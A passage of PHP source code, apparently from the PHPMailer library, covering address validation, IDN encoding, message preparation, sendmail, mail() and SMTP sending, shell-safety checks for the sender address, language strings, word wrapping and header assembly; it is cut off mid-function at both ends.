                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
